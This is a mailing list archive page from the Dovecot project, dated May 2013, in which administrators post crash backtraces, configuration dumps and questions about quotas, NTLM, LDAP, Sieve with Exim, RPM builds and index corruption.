<http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/libexec/dovecot/imap...(no debugging symbols found)...done. [New Thread 27742] Reading symbols from /usr/lib64/dovecot/libdovecot-storage.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/lib64/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/lib64/dovecot/libdovecot.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/lib64/dovecot/libdovecot.so.0 Reading symbols from /lib64/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib64/libc.so.6 Reading symbols from /lib64/librt.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/librt.so.1 Reading symbols from /lib64/libdl.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/libdl.so.2 Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/ld-linux-x86-64.so.2 Reading symbols from /lib64/libpthread.so.0...(no debugging symbols found)...done. [Thread debugging using libthread_db enabled] Loaded symbols for /lib64/libpthread.so.0 Reading symbols from /lib64/libnss_files.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/libnss_files.so.2 Reading symbols from /lib64/libgcc_s.so.1...(no debugging symbols found)...done. Loaded symbols for /lib64/libgcc_s.so.1 Core was generated by `dovecot/imap'. Program terminated with signal 6, Aborted. #0 0x00007fd60b3aa8a5 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: debuginfo-install dovecot-2.2.1-0_134.el6.x86_64 (gdb) bt full #0 0x00007fd60b3aa8a5 in raise () from /lib64/libc.so.6 No symbol table info available. #1 0x00007fd60b3ac085 in abort () from /lib64/libc.so.6 No symbol table info available. #2 0x00007fd60b76a698 in ?? () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #3 0x00007fd60b76a6d6 in ?? () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #4 0x00007fd60b72affa in i_panic () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #5 0x00007fd60ba402f2 in mailbox_copy () from /usr/lib64/dovecot/libdovecot-storage.so.0 No symbol table info available. #6 0x000000000040bebb in ?? () No symbol table info available. #7 0x000000000041502d in command_exec () No symbol table info available. #8 0x0000000000414190 in ?? () No symbol table info available. #9 0x000000000041427d in ?? () No symbol table info available. #10 0x00000000004144fd in client_handle_input () No symbol table info available. #11 0x000000000041486f in client_input () No symbol table info available. #12 0x00007fd60b7799d6 in io_loop_call_io () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #13 0x00007fd60b77aa87 in io_loop_handler_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #14 0x00007fd60b779978 in io_loop_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #15 0x00007fd60b72fa63 in master_service_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #16 0x000000000041dcf9 in main () No symbol table info available. (gdb) any ideas ?

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[Dovecot] LDA/LMTP - saving to INBOX fallback on tempfail?
by Timo Sirainen 31 May '13

31 May '13

Currently if saving to mailbox fails for any reason, the mail is saved to INBOX instead. Same if a Sieve redirect fails, the mail is saved to INBOX. I'm wondering if anyone actually prefers this behavior when the error is temporary? For example if some index file corruption was detected, the save will most likely succeed the next time it's attempted. Or if the redirect fails because the SMTP server can't be connected to at the moment. So I was thinking about changing v2.2 LDA/LMTP to simply return temporary failure instead of saving the mail to INBOX.

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Re: [Dovecot] dovecot Digest, Vol 121, Issue 84
by Arun Gupta 31 May '13

31 May '13

Thanks...... On Fri, 31 May 2013, dovecot-request(a)dovecot.org wrote: > Send dovecot mailing list submissions to > dovecot(a)dovecot.org > > To subscribe or unsubscribe via the World Wide Web, visit > http://dovecot.org/cgi-bin/mailman/listinfo/dovecot > or, via email, send a message with subject or body 'help' to > dovecot-request(a)dovecot.org > > You can reach the person managing the list at > dovecot-owner(a)dovecot.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of dovecot digest..." > > > Today's Topics: > > 1. Re: IMAP QUOTA (Steffen) > 2. Settings: Dovecot + NTLM + Single Sing On + Windows + Outlook > or Thunderbird. (Maria Jose Ya?ez Dacosta) > 3. Re: Settings: Dovecot + NTLM + Single Sing On + Windows + > Outlook or Thunderbird. (Charles Marcus) > 4. Re: IMAP QUOTA (Timo Sirainen) > 5. Re: Settings: Dovecot + NTLM + Single Sing On + Windows + > Outlook or Thunderbird. (Maria Jose Ya?ez Dacosta) > 6. Re: Dovecot mysql replication (Robert Schetterer) > 7. Re: Dovecot mysql replication (Noel Butler) > 8. Re: Dovecot mysql replication (Noel Butler) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Thu, 30 May 2013 17:09:27 +0200 > From: Steffen <skdovecot(a)smail.inf.fh-brs.de> > To: Dovecot Mailing List <dovecot(a)dovecot.org> > Subject: Re: [Dovecot] IMAP QUOTA > Message-ID: <51A76BA7.8040501(a)smail.inf.fh-brs.de> > Content-Type: text/plain; charset=ISO-8859-1 > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Arun Gupta wrote: >> >> I read about Snarf plugin, it works if the mail already in spool >> area, but I want to know whether it is possible if users quota >> exceeded then instead of mail rejected it should delived to user >> spool area or somewhere else. > > I understand and you should consider Charles' advice :-) > > This is something your MDA should do. Neither the Dovecot LMTP server > nor the current Dovecot deliver can do so. But deliver is rather > small, so you could hack it in. > > Or use Dovecot deliver in combination with Snarf and a MDA wrapper, e.g.: > > The wrapper script first checks, if the recipient is over quota, in > that case use another maildrop programm, such as procmail, that > delivers the message to a spool area; otherwise call Dovecot deliver > with the usual arguments. Or if you call Dovecot deliver and it exits > with exit code 69 (Tempfailure), call that other MDA. > > Then let Snarf pull the messages into the INBOX next time. > > - -- > Steffen > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (Darwin) > Comment: Using GnuPG with undefined - http://www.enigmail.net/ > > iQEVAwUBUadrp13r2wJMiz2NAQIpiAf+JSeuZns89NoJV5aW2Li4myLp209HycHt > j3varTiBYgekw1vMAhDXYH/RKnMwWlOFSe15YIMTcCIY8gjTIqCx6YA/W1cJVZL+ > 3zRVA/75t3CsAFx70/+fecrZJnY6u0Ok7VUXJ4DAxdJgsOyqXZy9/6bt+t43TcaT > pUlug3nAmIP9GwZ2GQFGkEFxfD74EPVRVg8opAZzTaSPuv/IfKsC8f4RA64JtQ2S > EACc/nEC4xVmjDAz/9cpLLsWiLlYfy/cEDIw49XA2MrQsIIS7qkHcDLawuqsVsAk > HHXX/iqmcRBtznpO94XS9SCtvUa/5fDkVYv56uuDazEHpy4urBrtyA== > =Qo2f > -----END PGP SIGNATURE----- > > > ------------------------------ > > Message: 2 > Date: Thu, 30 May 2013 12:34:24 -0300 > From: Maria Jose Ya?ez Dacosta <mariajose1982(a)gmail.com> > To: dovecot(a)dovecot.org > Subject: [Dovecot] Settings: Dovecot + NTLM + Single Sing On + Windows > + Outlook or Thunderbird. > Message-ID: > <CAHQv7acLG6X23w3vxhUtdR2RkSBAXhMHM+uSi9zASbUjtfstXA(a)mail.gmail.com> > Content-Type: text/plain; charset="iso-8859-1" > > I am following the steps listed in: > http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm > > My goal is to have single sign-on for Microsoft Outlook applications. > > I working and I have some doubts since I never set up an imap server, hope > I can help :). > > The version that I have installed is devecot 2.0.9. > > "dovecot -n" shows the following: > > # 2.0.9: /etc/dovecot/dovecot.conf > # OS: Linux 2.6.32-71.el6.x86_64 x86_64 CentOS release 6.4 (Final) > auth_use_winbind = yes > mbox_write_locks = fcntl > passdb { > driver = pam > } > protocols = imap pop3 > ssl = no > userdb { > args = uid=10000 gid=10000 home=/mail/%d/%n > driver = static > } > > I show what I have in /etc/samba/smb.conf > > [global] > workgroup = EJEMPLO > realm = EJEMPLO.COM.UY > server string = %h (Samba %v) > security = ADS > password server = ad.domain.dom > username map = /etc/samba/mapeousuarios > map untrusted to domain = Yes > syslog = 0 > log file = /var/log/samba/log.%m > max log size = 1000 > name resolve order = wins host bcast > local master = No > domain master = No > dns proxy = No > wins server = here active directory ip > panic action = /usr/share/samba/panic-action %d > winbind separator = + > winbind use default domain = Yes > winbind rpc only = Yes > idmap config * : range = 1200-3000 > idmap config * : backend = tdb > > [usuarios3] > path = /exports/archivos-usuarios > read only = No > map acl inherit = Yes > store dos attributes = Yes > > > "wbinfo -g" and "wbinfo -u" work well. > > kinit Administrator work well also. > > Some steps of the configuration in dovecot.conf does not recognize: > > 1) "protocols = imap imaps pop3 pop3s". > > 2) "mechanisms = plain ntlm login". > > 3) "allow_all_users=yes" y > "mail=maildir:/home/vmail/%d/%1Ln/%Ln:INBOX=/home/vmail/%d/%1Ln/%Ln". > > I'm not sure I should put in place. > > I also have some doubts: > > 1) I have to create a keytab file containing the principal for > imap and pop?, as it would indicate Dovecot?. > > 2) That should indicate values uid y el gid? > > 3) I have to set something in pam? > > if I make "telnet localhost imap" shows the following: > > OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE > AUTH=PLAIN] Dovecot ready > > NTLM not appears in the options. > > I hope I can shed some light on the subject :) Thanks and greetings. > > > -- Regards, Arun Kumar Gupta Mail Administrator National PARAM Supercomputing Facility (NPSF) Centre for Development of Advanced Computing Ganeshkhind Road Pune University Campus PUNE-Maharastra Phone : +91-20-25704347 WEB : http://www.cdac.in/ ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. 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[Dovecot] IMAP QUOTA
by Arun Gupta 30 May '13

30 May '13

Hi, I configured imap quota on dovecot-2.0 with backend Maildir++, after exceeding user quota the sender receiving bounce mails, Is there any way that after exceeding user quota the mail will deliver somewhere else like user spool area? so that after increasing quota user will get the mails. -- Regards, Arun Kumar Gupta ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies and the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email is strictly prohibited and appropriate legal action will be taken. -------------------------------------------------------------------------------------------------------------------------------

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Re: [Dovecot] IMAP QUOTA
by Arun Gupta 30 May '13

30 May '13

Hi, Thanks for replying... Dear Steffen I search about "slurp" plugin but didn't get it if possible kindly provde me the doc, link etc for the same. Regards, Arun Gupta On Tue, 28 May 2013, Arun Gupta wrote: > I configured imap quota on dovecot-2.0 with backend Maildir++, after > exceeding user quota the sender receiving bounce mails, Is there any way that > after exceeding user quota the mail will deliver somewhere else like user > spool area? so that after increasing quota user will get the mails. Check out the "slurp" plugin and let your MTA deliver mails to, say, /var/mail/<uid> . You will have no Sieve rules then, I think. However, some sort of quota enforcing you will need there, too. - -- Steffen Kaiser ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies and the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email is strictly prohibited and appropriate legal action will be taken. -------------------------------------------------------------------------------------------------------------------------------

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[Dovecot] Sieve/pigeonhole with Exim and Dovecot LDA
by Sebastian Arcus 30 May '13

30 May '13

I am trying to configure my Dovecot installation to provide Vacation/Out-of-the-office emails using the Sieve plugin. My setup is a little bit peculiar: Internet Internet | ^ V | Provider's POP3 server Provider's SMTP server | ^ V | -------------- getmail | my server | | V | Dovecot LDA ---> Sieve/vacation -----> Exim | V Dovecot my server --------------- Sorry for the ASCII art above - I thought it would be quicker than trying to explain. The trouble I'm having is getting the Dovecot LDA to send successfully through the local exim instance out-of-office replies back to the provider's smtp server - when receiving fresh email from the provider (through getmail). Dovecot LDA tries to send the replies - but Exim freezes them because they don't contain the sender data in the format Exim wants it. Exim can either receive sender info: 1. On the command line, after the "-f" command line switch (but only when called by root or other users passed under "trusted_users" in exim.conf). 2. In the header of the email - in the "From:" field - but only, apparently, if it was called with the "-t" switch. Full exim command line documentation here: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_comman… I can't figure out what command line options the Dovecot LDA is using when calling exim. I also couldn't find a way to get Dovecot LDA to pass extra options to exim, when trying to send email. The exim log has the following: 2013-05-20 15:35:15 1UeRBB-0001xc-Ar Frozen (message created with -f <>) I've inspected the frozen message - and it has the correct sender in the "From:" field - but it seems that exim isn't using that, because it wasn't called with the "-t" option. In dovecot.conf, I have the following for Dovecot LDA and sieve: protocols = imap sieve protocol lda { log_path = /var/log/dovecot/dovecot-deliver.log info_log_path = /var/log/dovecot/dovecot-deliver-info.log postmaster_address = admin(a)mydomain.co.uk hostname = mydomain.co.uk mail_plugins = sieve mail_plugin_dir = /usr/lib/dovecot sendmail_path = /usr/sbin/exim } service managesieve-login { inet_listener sieve { port = 4190 } } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } Dovecot LDA is called by getmail using the vmail user - and using the same user it is trying to call exim to deliver the out-of-office replies. I'm using Dovecot 2.2.1 with pigeonhole 0.4.0. I can post the rest of dovecot.conf if it would help. I've read through the stuff at dovecot.org - but all the Dovecot LDA and exim info refers to Exim passing email to Dovecot using Dovecot LDA - not Dovecot LDA sending email out using Exim.

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Re: [Dovecot] Dovecot 2.2 build rpm on Centos6
by Burak GÜRER 30 May '13

30 May '13

On 30-05-2013 10:52, Arto Saraniva wrote: > >> -----Original Message----- >> From: dovecot-bounces(a)dovecot.org [mailto:dovecot-bounces@dovecot.org] >> On Behalf Of Burak GÜRER >> Sent: Thursday, May 30, 2013 10:34 AM >> To: Nikolaos Milas >> Cc: Dovecot Mailing List >> Subject: Re: [Dovecot] Dovecot 2.2 build rpm on Centos6 >> >> On 27-05-2013 16:56, Nikolaos Milas wrote: >>> On 27/5/2013 1:07 μμ, Birta Levente wrote: >>> >>>> I tried to build rpm based on dovecot-2.2.2-2.fc20.src.rpm on Centos >>>> 6.4 >>> You may want to try: >>> >>> dovecot-2.2.2-2.noa.el6.src.rpm >>> >>> which produces: >>> >>> dovecot-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-debuginfo-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-devel-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-mysql-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-pgsql-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-pigeonhole-2.2.2-2.noa.el6.x86_64.rpm >>> >>> available at: http://www.noa.gr/rpmfiles/ >>> >>> This package is using LTB Project's Openldap RPMs for LDAP linking: >>> >>> http://ltb-project.org/wiki/download#openldap >>> >>> The above Dovecot SRPM has evolved from fakessh's rpms: >>> http://ns.fakessh.eu/rpms/ and I like it because it is clean and >> clear >>> (to me, at least). >>> >>> Nick >> another question.. anybody built dovecot 2.2 on rhel/centos 5 >> >> there is any knowhow or any builded pack > http://www.city-fan.org/ftp/contrib/mail/ > > -arto > thanks arto

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[Dovecot] Dovecot 2.2 build rpm on Centos6
by Birta Levente 30 May '13

30 May '13

Hi list, I tried to build rpm based on dovecot-2.2.2-2.fc20.src.rpm on Centos 6.4 rpmbuild --define 'rhel 64' -ba dovecot-2.2.spec I get this error: checking for C compiler default output file name... configure: error: in `/home/builder/rpmbuild/BUILD/dovecot-2.2.2': configure: error: C compiler cannot create executables See `config.log' for more details. (config.log attached) What I missing? I'm not totally beginner, built dovecot 2.1 rpm-s many times same way like this, but not know mutch about building rpms and with this I just can get to work. Thank you! Levi

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[Dovecot] Perfect LDAP tree
by Evgeny Basov 30 May '13

30 May '13

Hello everybody and Timo. I have the next problem. With LDAP tree like ou=mail | - dc=example1.com,ou=Mail | - mail=box1(a)example1.com,dc=example1.com,ou=Mail | - mail=box2(a)example1.com,dc=example1.com,ou=Mail … | - dc=example2.com,ou=Mail | - mail=box1(a)example2.com,dc=example2.com,ou=Mail | - mail=box2(a)example2.com,dc=example2.com,ou=Mail … and settings in dovecot configuration files auth_bind = yes auth_bind_userdn = mail=%u,dc=%d,ou=mail base = ou=mail user_attrs = \ =home=/var/vmail/%Ld/%Ln, \ =quota_rule=*:storage=%{ldap:mailQuota}M user_filter = (&(objectClass=mailUser)(accountStatus=active)(mail=%u)) pass_attrs = \ =user=%{ldap:mail}, \ =proxy_maybe=yes, \ =host=%{ldap:mailHost}, \ =userdb_home=/var/vmail/%Ld/%Ln, \ =userdb_quota_rule=*:storage=%{ldap:mailQuota}M pass_filter = (&(objectClass=mailUser)(accountStatus=active)(mail=%u)) iterate_attrs = mail=user iterate_filter = (&(objectClass=mailUser)(accountStatus=active)) all works fine. But my soul of perfectionist do not like this configuration because in every mailbox record duplicated information about domain: mail=box1(a)example2.com and dc=example2.com I want to set next LDAP tree ou=mail | - dc=example1.com,ou=Mail | - mail=box1,dc=example1.com,ou=Mail | - mail=box2,dc=example1.com,ou=Mail … | - dc=example2.com,ou=Mail | - mail=box1,dc=example2.com,ou=Mail | - mail=box2,dc=example2.com,ou=Mail … but I don't understand how to limit query to box1(a)example1.com in dc=example1.com,ou=mail without using base=dc=%d,ou=Clients,o=m and how to get working iterate query for all boxes to get list box1(a)example1.com box2(a)example1.com box1(a)example2.com box2(a)example2.com in some command like doveadm quota recalc -A. Is it possible? How to take it?

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[Dovecot] imap/pop problem
by MP Netsai 30 May '13

30 May '13

Dear All, I hope you can help me on this trouble i am getting. I cant seem to get email even though i have given the correct directory for mail location. Here is my config: ===== # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_mechanisms = plain login disable_plaintext_auth = no first_valid_uid = 1001 last_valid_uid = 1001 mail_debug = yes mail_gid = exim mail_location = maildir:/var/mail/virtual/%d/%n mail_uid = exim namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = " imap pop3" service auth { unix_listener auth-userdb { group = exim mode = 0600 user = exim } } ssl_cert = </usr/local/etc/exim/exim.cert ssl_key = </usr/local/etc/exim/exim.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol pop3 { pop3_uidl_format = %08Xu%08Xv } ===== the virtual email directory is as follows: ===== root@peyote:/var/mail/virtual# ls -l drwx------ 9691 exim exim 266240 May 28 16:17 mydomain.co.zw ===== Mail is moving ok, into the virtual directory. I just cant seem to pop them out of there. I hope someone can get to point me in the right direction. Regards,

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Re: [Dovecot] system account delivery userdb authentication
by Ben Morrow 29 May '13

29 May '13

[Please keep replies on the list.] At 6AM +0200 on 29/05/13 you (Yann Shukor) wrote: > > Although simpler to set up, I chose to steer clear of the single user > representing 'all' because I liked the idea of giving users access to > Usermin allowing them to manage their own password and vacation msg > (+filtering, ...) and furthermore they could login with their username > (domain-less). While it's often convenient to make a distinction between 'system' and 'virtual' users, Dovecot doesn't actually know the difference. It just looks users up in the passdb and userdb you have configured. This means it's perfectly straightforward to do a completely 'virtual user' setup, and then change the passdb to 'pam', which will let the users log in with their ordinary Unix password. To allow users to log in with just a username, all you need to do is make sure the users in the userdb and passdb are listed that way. Userdb passwd and passdb pam naturally are, but there's nothing to stop you using other userdbs if you want to. The only trick here is that if you're using LDA/LMTP then incoming deliveries will (or, at least, usually should) be addressed to a full email address, so you need auth_username_format to trim that back to a username. I don't know anything about Usermin, but if it is trying to set up traditional procmail filtering and vacation(1), you may be in trouble. Or, at least, you may have to give up on using Dovecot to deliver the mail and let Postfix's local(8) and procmail deliver it into maildirs themselves. If you're happy with this, this isn't a problem for Dovecot, but it might be better to go with Sieve filtering instead. Sieve is a newish mail filtering language, designed primarily to be safe (procmail has a nasty habit of letting users run arbitrary programs). Dovecot's LDA has a pretty complete sieve implementation called Pigeonhole (you may need to install it separately), which also supports a protocol called ManageSieve designed for uploading sieve scripts remotely. There are plugins for some webmail systems (and some desktop mail clients, for that matter) which let the user edit their filters in a gooey way; this includes setting up vacation messages. I use Roundcube webmail for this purpose; it also has a perfectly good PAM password- changing plugin. Ben

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[Dovecot] dsync
by Erik Colson 29 May '13

29 May '13

Hi Is dovecot dsync considered an alternative to offlineimap (or others) when both distant and local are IMAP dovecot servers ? I used offlineimap for this, but somehow offlineimap got messed up (more than once, but without me able to explain how it happened). So I'm considering dsync for this purpose... Thanks! -- erik

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[Dovecot] Enable IMAP only for certain users/IP
by Simone Marx :: Edinet Srl 29 May '13

29 May '13

Hi, I'm trying to config dovecot to enable IMAP protocol only for certain IPs and users. The logical steps I've followed are: 1. If a user is trying to login from an IP that I've authorized ( listed in a file) the request is authorized. 2. If not, if the user is listed in a second file the request is authorized. 3. If also this check fails the request is rejected. I'm using PAM for passdb and a passwd-file for userdb: passdb { driver = pam args = session=yes failure_show_msg=yes max_requests=16 cache_key=%u%r%l dovecot-%s } userdb { driver = passwd-file args = /etc/passwd-dovecot } In /etc/pam.d/ there are two files: dovecot-pop3 dovecot-imap dovecot-pop3: #%PAM-1.0 @include common-auth @include common-account @include common-session (for this protocol everything works fine, I don't want to limit it.) dovecot-imap: #%PAM-1.0 @include common-auth auth sufficient pam_listfile.so item=rhost sense=allow file=/etc/dovecot/imaphosts onerr=fail auth required pam_listfile.so item=user sense=allow file=/etc/dovecot/imapusers onerr=fail @include common-account @include common-session If I'm not wrong, once the user is authenticated, PAM checks if the remote IP address is in imaphosts; if it's true, it returns PAM_SUCCESS and stops the execution of the auth block, else if it's false, PAM executes the next line, verifying the presence of the username in imapusers file; if found, then return PAM_SUCCESS, else fail. If this can work, I've a problem with pam_listfile.so and IP addresses: I want to do something smarter than specifying 2^11 IP addresses instead a /21 or IP/netmask Are there alternatives for doing it better? Thanks. Sincerely, Simone Marx.

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[Dovecot] Corrupt index file zlib
by Paul Lim 29 May '13

29 May '13

Hi, I'm getting this error constantly on a couple of folders. No matter what I do it keeps recurring. -- 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Cached message size smaller than expected (2551 < 8192) 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Maildir filename has wrong S value, renamed the file from /home/***.com.au/nj/.***.Builders/cur/1369030267.M775209P12595.pygmy,S= /2551:2,S to /home/***.com.au/nj/.***.Builders/cur/1369030267.M775209P12595.pygmy,S= /2551:2,S 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Corrupted index cache file /home/archarch.com.au/nj/.***.Builders/dovecot.index.cache: Broken /physical size for mail UID 13 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Cached message size smaller than expected (2551 < 8284) 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Maildir filename has wrong S value, renamed the file from /home/***.com.au/nj/.***.Builders/cur/1369030267.M775209P12595.pygmy,S= /2551:2,S to /home/***.com.au/nj/.***.Builders/cur/1369030267.M775209P12595.pygmy,S= /2551:2,S 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: Corrupted index cache file /home/archarch.com.au/nj/.***.Builders/dovecot.index.cache: Broken /physical size for mail UID 13 2013-05-29 14:15:03 imap(nj(a)***.com.au): Error: read(/home/***.com.au/nj/.***.Builders/cur/1369030267.M775209P12595. pygmy,S=2551:2,S) failed: Input/output error (uid=13) --- stuff I've done: - Deleted dovecot* in .Builders/ - run maildir-size-fix.pl -v -r -f- c on .Builders/ - delete and recreate the folder Dovecot 2.1.7 (wheezy) zlib enabled maildir_broken_filename_sizes = yes There are only 6 emails, so it's only building dovecot.index.log, not the cache file --- dovecot-uidlist --- 3 V1317717759 N1 G1b2d4a37936fa551430d0000c0318918 1 :1369030267.M775209P12595.pygmy,S=8284 2 :1369030564.M957106P12595.pygmy,S=13188 3 :1369030568.M223636P12595.pygmy,S=23270 4 :1369030568.M223637P12595.pygmy,S=10813 5 :1369030568.M223638P12595.pygmy,S=58600 6 :1369030615.M783237P12595.pygmy,S=9677 7 :1369030267.M775209P12595.pygmy,S=2551 8 :1369030564.M957106P12595.pygmy,S=3560 ----- --- ls cur --- 1369030267.M775209P12595.pygmy,S=8284:2,S 1369030564.M957106P12595.pygmy,S=13188:2,RS 1369030568.M223636P12595.pygmy,S=23270:2,RS 1369030568.M223637P12595.pygmy,S=10813:2,RS 1369030568.M223638P12595.pygmy,S=58600:2,RS 1369030615.M783237P12595.pygmy,S=9677:2,RS ---- It all seems to match... but it continues to break. If I delete the first email file, it breaks on the next one as well. Any thoughts?? I'm thinking I'll probably disable zlib if I can't find a solution... will this mean I have to decompress all the compressed emails? cheers Paul

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[Dovecot] Dovecot 2.1.7-7 only allow localhost access to IMAP and POP3
by Torben Schou Jensen 29 May '13

29 May '13

Recently I have upgraded my server to Debian 7. Debian have now removed uw-imapd and suggest using dovecot instead. Debian include dovecot version 2.1.7-7. On http://www.debian-administration.org/articles/275 and http://www.debian-administration.org/articles/200 I can read how to setup older version of dovecot with SquirrelMail. They recommend to use uncrypted IMAP when SquirrelMail is on same server. What I would like to support is then imap, imaps, pop3 and pop3s. imaps and pop3s for external users. imap and pop3 only open for localhost, that is SquirrelMail on same machine. With dovecot 1 you could restrict access using "imap_listen = localhost" How do I make the same restriction with localhost on dovecot 2 ??? Brgds Torben

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[Dovecot] dsync Panic: Unknown key: send_mail_requests
by Oli Schacher 29 May '13

29 May '13

Hi Timo With the current dovecot hg we're getting dsync replication errors "Panic: Unknown key: send_mail_requests" followed by a crash. This seems to have been introduced somewhere around http://hg.dovecot.org/dovecot-2.2/rev/4883a8e1db13 Log output from latest hg, 2.2.2 (e7c474011934+): May 29 09:30:53 munged03 dovecot: doveadm(luke(a)example.com): Panic: Unknown key: send_mail_requests May 29 09:30:53 munged03 dovecot: doveadm(luke(a)example.com): Error: Raw backtrace: /usr/lib64/dovecot/libdovecot.so.0(+0x5f7da) [0x7f84f84637da] -> /usr/lib64/dovecot/libdovecot.so.0(+0x5f826) [0x7f84f8463826] -> /usr/lib64/dovecot/libdovecot.so.0(+0x2006a) [0x7f84f842406a] -> dovecot/doveadm-server() [0x42c41b] -> dovecot/doveadm-server() [0x42908b] -> dovecot/doveadm-server(dsync_brain_master_init+0x1c9) [0x4186f9] -> dovecot/doveadm-server() [0x416606] -> dovecot/doveadm-server() [0x40c94f] -> dovecot/doveadm-server() [0x414b7a] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_call_io+0x36) [0x7f84f8472b66] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_handler_run+0xa7) [0x7f84f8473c17] -> /usr/lib64/dovecot/libdovecot.so.0(io_loop_run+0x28) [0x7f84f8472b08] -> /usr/lib64/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7f84f8428ae3] -> dovecot/doveadm-server(main+0x121) [0x4152c1] -> /lib64/libc.so.6(__libc_start_main+0xfd) [0x34de41ecdd] -> dovecot/doveadm-server() [0x40c1b9] May 29 09:30:53 munged03 dovecot: doveadm(luke(a)example.com): Fatal: master: service(doveadm): child 49077 killed with signal 6 (core dumped) dovecot -n is attached Best regards Oli -- message transmitted on 100% recycled electrons

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[Dovecot] Email migration
by Romer Ventura 29 May '13

29 May '13

Hello, So I am currently running dovecot 1.2.11 on Debian 5 for our production email systems. We just deployed some new Debian 7 servers and we will be upgrading to the latest dovecot version. I've been reading the docs, but I wanted to heard some feedback on the import of all my current email into the new installation. We have 320GB worth of email. Any gotchas I should be prepared for? Any complications I should be aware of when importing all these data? Any thoughts would be appreciated. Thanks. <hr style="border: 1px solid #CCC;"> This document and attachments may contain technical data controlled under the U.S. International Traffic in Arms Regulations (ITAR) or the Export Administration Regulations (EAR) and may not be exported to a Foreign Person, either in the U.S. or abroad, without the proper authorization by the U.S. Department of State or Department of Commerce, whichever is applicable. CONFIDENTIALITY NOTE: This electronic transmission, including all attachments, is directed in confidence solely to the person(s) to whom it is addressed, or an authorized recipient, and may not otherwise be distributed, copied or disclosed. The contents of the transmission may also be subject to intellectual property rights and such rights are expressly claimed and are not waived. If you have received this transmission in error, please notify the sender immediately by return electronic transmission and then immediately delete this transmission, including all attachments, without copying, distributing or disclosing same. The recipient should check this e-mail and any attachments for the presence of viruses. Houston Sigma Technologies L.P. accepts no liability for any damage caused by any virus transmitted by this e-mail.

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[Dovecot] system account delivery userdb authentication
by Yann Shukor 29 May '13

29 May '13

Hi I have a remaining issue with a mail server setup. Composed of Postfix and Dovecot it is is a 'local' mail server At first I relied upon Mysql to store the various parameters, and then switched to a flat file approach I also initially set the server up to handle virtual users, but then I realized that it was destined to manage local system accounts only. So I reconfigured it accordingly Relying on system accounts for authentication means that the domain name component is absent from the username (as opposed to virtual user identifiers) This caused me some difficulty at first with roundcube, but I was able to get around it through a manual adjustment in Mysql The remaining aspect that isn't working is the delivery of emails. The entry in master.cf for dovecot looks looks this: dovecot unix - n n - - pipe flags=DRhu user=mail:mail argv=/usr/lib/dovecot/deli ver -d ${recipient} The problem is that the recipient equates to the users email address, which can't in fact be used for authentication purposes with system accounts. I then tried replacing recipient with user: dovecot unix - n n - - pipe flags=DRhu user=mail:mail argv=/usr/lib/dovecot/deliver -d ${user} There seems to be a rights issue because I get the following error: dovecot Fatal: setgid(100(users)) failed with euid=8(mail), gid=8(mail), egid=8(mail): Operation not permitted Any ideas ? thanks yann # 1.2.15: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-5-686 i686 Debian 6.0.7 ext4 log_timestamp: %d-%m-%Y %H:%M:%S protocols: imap imaps pop3 pop3s ssl_cert_file: 